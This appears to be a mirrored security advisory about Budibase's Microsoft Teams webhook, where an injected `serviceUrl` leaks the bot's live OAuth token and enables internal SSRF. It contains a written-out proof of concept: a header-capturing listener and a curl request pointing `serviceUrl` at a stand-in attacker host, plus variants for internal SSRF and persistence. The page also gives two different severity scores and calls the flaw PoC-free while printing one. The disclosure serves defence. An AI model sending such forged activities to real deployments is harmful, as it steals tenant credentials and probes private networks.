GHSA-942W-FCCR-8R3C
Unauthenticated SSRF and OAuth credential exfiltration via forged Microsoft Teams webhook activity (`serviceUrl` injection)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-942W-FCCR-8R3C divulgada · CVSS 9.3 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
### Summary
An unauthenticated SSRF + credential exfiltration vulnerability exists in the
Microsoft Teams channel webhook of Budibase's AI Agents feature. Any anonymous
attacker who knows the webhook URL can submit a forged Bot Framework activity
with an arbitrary `serviceUrl` value. The server stores this value
persistently and later uses it as the base URL for every bot reply, sending
each reply with an `Authorization: Bearer <live OAuth access_token>` header
minted from the victim bot's client credentials. A single POST therefore
delivers the victim's live Microsoft OAuth token to an attacker-controlled
host, and additionally grants blind internal-network SSRF, because both egress
paths bypass Budibase's own SSRF protections (`fetchWithBlacklist` / IP
pinning).
Severity: Critical (~CVSS 8.6-8.7). Unauthenticated, no user interaction,
cross-system impact (Microsoft 365 tenant authority), persistent poisoning.
### Details
1. The endpoint accepts forged activities with zero verification
`POST /api/webhooks/ms-teams/:instance/:agentId` (and the legacy variant with
an extra ignored segment) is registered on the public route group with no auth
middleware — packages/server/src/api/routes/webhook.ts:19-32:
// this shouldn't have authorisation, right now its always public
publicRoutes.post("/api/webhooks/ms-teams/:instance/:agentId", controller.MSTeams)
Webhook paths are exempted from the global auth chain
(src/middleware/utils.ts:3-5, src/middleware/authorized.ts:93-95) and skip
koa-body parsing entirely (src/koa.ts:38-44). There is NO inbound Bot
Framework JWT/signature validation anywhere in packages/server/src (unlike
Slack requests, which are HMAC-verified inside the Chat SDK adapter). The raw
body is handed straight to the Chat SDK
(api/controllers/webhook/runChatWebhook.ts:42-45).
2. Attacker-controlled `serviceUrl` is accepted verbatim and persisted
packages/server/src/api/controllers/webhook/ms-teams.ts:269-307:
const serviceUrl = raw?.serviceUrl?.trim() // line 281 - no allowlist check
...
const channel: ChatConversationChannel = {
provider: AgentChannelProvider.MSTEAMS,
...
serviceUrl, // line 306 - stored in docs
}
No validation against Bot Framework endpoints (contrast: the same file
strictly pins Graph pagination cursors to https://graph.microsoft.com at
escalation/notifications/ms-teams.ts:100-117). The poisoned value is persisted
in chat-conversation and identity-link-session documents, so future
notifications keep using it.
3. Replies are sent to the attacker host WITH a live OAuth Bearer token
Path A - dependency egress. Every reply (thread.post(...), including automatic
replies such as "Thinking...", assistant answers, error strings, and even
"Agent is not enabled for this channel.") reaches callTeamsConnectorApi() in
@chat-adapter/teams@4.31.0, which builds the URL from the attacker-supplied
serviceUrl and attaches a fresh client-credentials token:
const token = await resolveTeamsAccessToken(options); // client_credentials grant
const url = new URL(options.path.replace(...), ensureTrailingSlash(options.serviceUrl));
const response = await request(url, {
headers: { authorization: `Bearer ${token}`, ... }, // token -> attacker host
Path B - Budibase's own escalation egress,
packages/server/src/escalation/notifications/ms-teams.ts:206-225, uses raw
node-fetch instead of Budibase's hardened fetchWithBlacklist helper used
elsewhere in the product:
import fetch from "node-fetch" // line 1 - no SSRF blacklist/IP pinning
...
const url = `${serviceUrl.replace(/\/$/, "")}/v3/conversations/${encodeURIComponent(conversationId)}/activities`
const resp = await fetch(url, {
method: "POST",
headers: { Authorization: `Bearer ${token}`, ... },
})
Used by replyToConversation() (line 282) and sendMSTeamsNotification() - every
escalation notification replays the stored attacker-set serviceUrl.
Because neither path uses backend-core/src/utils/outboundFetch.ts (DNS
resolution + private-range blacklist + IP pinning), the same bug is also a
plain POST-based SSRF into the server's internal network (node-fetch follows
up to 20 redirects).
4. Preconditions
- The deployment has >=1 AI agent with a Microsoft Teams integration
- The attacker knows the webhook coordinates (`instance` = production
### PoC
Reproduce against a self-hosted instance you own:
- Run Budibase locally (hosting/docker-compose). Create an app + AI agent,
- Note <PROD_APP_ID> (production workspace ID, app_...) and <AGENT_ID> from
- Start a capture listener on the attacker host:
node -e "require('http').createServer((q,s)=>{console.log(q.method,q.url,'\n>>',q.headers.authorization);s.end()}).listen(8080)"
- Send the forged activity:
curl -sk -X POST "http://<budibase-host>/api/webhooks/ms-teams/<PROD_APP_ID>/<AGENT_ID>" \
-H "Content-Type: application/json" \
-d '{
"type": "message",
"channelId": "msteams",
"text": "hello",
"serviceUrl": "http://<attacker-host>:8080/",
"conversation": { "id": "19:x@thread.tacv2;messageid=1" },
"from": { "id": "u1", "name": "attacker" },
"recipient": { "id": "bot" },
"channelData": { "tenant": { "id": "t1" } }
}'
- The listener receives:
POST /v3/conversations/19%3Ax%40thread.tacv2%3Bmessageid%3D1/activities/<uuid>
authorization: Bearer eyJ0eXAiOiJKV1QiLCJub25jZSI6...
The Bearer token is a live access token for scope
https://api.botframework.com/.default (~1 h TTL, cached server-side) derived
from the victim bot's secret. It can be replayed against Bot Framework REST
APIs to read/send messages in any conversation the bot participates in.
Variants:
- Internal SSRF: set "serviceUrl": "http://<internal-host>:<port>/" ->
authenticated POSTs to arbitrary internal endpoints.
- Persistence: after one forged message, subsequent escalation notifications
continue hitting the attacker host automatically, because channel.serviceUrl
was persisted.
Tested on commit c10e0535c8707347af26c10979cc47178f506115 (master)
Impact
Type: Server-Side Request Forgery (CWE-918) leading to exposure of sensitive
credentials (CWE-200), caused by an origin-validation failure (CWE-346) on the
Teams webhook.
Who is impacted: any self-hosted or cloud Budibase deployment where at least
one AI agent has the Microsoft Teams channel configured - i.e., every
production deployment actively using this feature. No privileges,
authentication, or user interaction required beyond knowledge of the webhook
URL.
##Consequences:
- Theft of a live Microsoft OAuth bearer token -> bot impersonation,
unauthorized reading/sending of Teams conversations, potential Graph API
access depending on the app's granted permissions (cross-boundary impact
into the customer's M365 tenant).
- Unauthenticated internal-network probing/exploitation via POST-based SSRF
that circumvents Budibase's blacklist infrastructure.
- Persistent token leakage: a single forged request poisons stored
conversation state, redirecting future escalation traffic (and tokens) to
the attacker indefinitely until remediated.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
npm@budibase/server |
Sin parche | — | — | 3.38.1 afectada |
3.45.0Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/Budibase/budibase/security/advisories/GHSA-942w-fccr-8r3cLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
